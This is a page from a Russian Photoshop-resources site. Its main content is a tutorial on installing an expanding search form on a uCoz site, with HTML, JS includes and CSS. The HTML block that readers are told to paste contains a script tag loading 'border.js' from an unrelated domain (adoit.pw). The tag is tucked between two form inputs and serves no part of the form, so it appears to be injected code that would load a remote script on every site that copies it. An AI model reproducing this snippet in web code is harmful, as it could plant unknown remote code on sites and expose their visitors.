Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Bushido — After Effects Project(Videohive)
        Bushido — After Effects Project(Videohive)
        Рамка-календарь для фотошопа - Поздравляю
        Рамка-календарь для фотошопа - Поздравляю
        Шаблон женский - огненная лиса
        Шаблон женский - огненная лиса
        Скачать Календарь на 2012 и 2013 год - Прекрасных роз очарование
        Скачать Календарь на 2012 и 2013 год - Прекрасных роз очарование
        Женская Рамка - С днём рождения от чистого сердца
        Женская Рамка - С днём рождения от чистого сердца
        Женский шаблон - В танце красивом кружится пара
        Женский шаблон - В танце красивом кружится пара
        Стили для фотошопа - Огонь и Золото - Fire Power and Gold
        Стили для фотошопа - Огонь и Золото - Fire Power and Gold
        Свадебная рамка - Отныне мы муж и жена
        Свадебная рамка - Отныне мы муж и жена
        Шаблон для фото - среди кувшинок
        Шаблон для фото - среди кувшинок
        Фотошоп рамка - На расстоянии
        Фотошоп рамка - На расстоянии

        Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
        14:27
        Создаём раздвижную форму поиска для uCoz
        Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

        Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

        И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

        Код
        <script src="http://pnghosts.ru/js_css/classie.js"></script>
        <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
        <script>
          new UISearch( document.getElementById( 'sb-search' ) );
        </script>


        Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

        Код
        <!-- Поиск по сайту -->  
          <div id="sb-search" class="sb-search">
          <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
          <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
          <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
          </form>  
          </div>  
          <!-- /Поиск по сайту -->


        Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

        Код
        /* Раздвижная форма поиска для uCoz
        ------------------------------------------*/
        .sb-search {
          position: relative;
          margin-top: 10px;
          width: 0%;
          min-width: 32px;
          height: 32px;
          float: right;
          overflow: hidden;
           
          -webkit-transition: width 0.3s;
          -moz-transition: width 0.3s;
          transition: width 0.3s;
          -webkit-backface-visibility: hidden;
        }

        .sb-search-input {
          position: absolute;
          top: 0;
          right: 0;
           
          margin: 0;
          z-index: 10;
          width:300px;
          height: 20px;
          outline: none;
          background: #fff;  
          border: 1px solid #CAD3DA;  
          padding: 5px 32px 5px 20px;
           
          font:11px Verdana,Arial,Helvetica, sans-serif;
          color:#555;  
          border-radius:3px 0px 0px 3px;  
        }

        .sb-search-input::-webkit-input-placeholder {
          color: #efb480;
        }

        .sb-search-input:-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input::-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input:-ms-input-placeholder {
          color: #efb480;
        }

        .sb-icon-search,
        .sb-search-submit {
          position: absolute;
          right: 0;
          top: 0;
          margin: 0;
           
          width: 32px;
          height: 32px;
          display: block;

          line-height: 30px;
          text-align: center;
          cursor: pointer;
        }

        .sb-search-submit {
          background: #fff;
          color: transparent;
          border: none;
          outline: none;
          z-index: -1;
          -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
          filter: alpha(opacity=0);  
          opacity: 0;  
        }

        .sb-icon-search {
          border:none;  
          z-index: 90;
          background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          -webkit-font-smoothing: antialiased;
          border-radius:3px 3px 3px 3px;  
        }

        .sb-icon-search:before {
          content: "\e000";
        }

        .sb-search.sb-search-open,
        .no-js .sb-search {
          width: 100%;
        }

        .sb-search.sb-search-open .sb-icon-search,
        .no-js .sb-search .sb-icon-search {
          background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          z-index: 11;
          border-radius:0px 3px 3px 0px;  
        }

        .sb-search.sb-search-open .sb-search-submit,
        .no-js .sb-search .sb-search-submit {
          z-index: 90;
        }


        На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

        Спасибо за внимание!
        Категория: Скрипты для Ucoz | Просмотров: 611 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Четверг
            24.07.2025
            13:30

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Детский шаблон - Красивое нарядное платье для девочки
            Детский шаблон - Красивое нарядное платье для девочки
            Клипарт красные вишенки (прозрачный фон)
            Клипарт красные вишенки (прозрачный фон)
            Рамка для фото с Лилиями – Наша встреча была не случайной
            Рамка для фото с Лилиями – Наша встреча была не случайной
            Cкачать  Детская рамка с клоуном и воздушными шарами – С днём рождения, малыш!
            Cкачать Детская рамка с клоуном и воздушными шарами – С днём рождения, малыш!
            Клипарт, Элементы  PNG
            Клипарт, Элементы PNG
            Виноградная женская рамка
            Виноградная женская рамка
            Женский шаблон для фотошопа – Девушка с подиума 2
            Женский шаблон для фотошопа – Девушка с подиума 2
            Скачать Календарь на 2013 год помесячный - Динозавры
            Скачать Календарь на 2013 год помесячный - Динозавры
            Фоны и обои - Фрактальная абстракция
            Фоны и обои - Фрактальная абстракция
            Набор свадебных рамок - Незабываемый день
            Набор свадебных рамок - Незабываемый день

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2025
            Создать бесплатный сайт с uCoz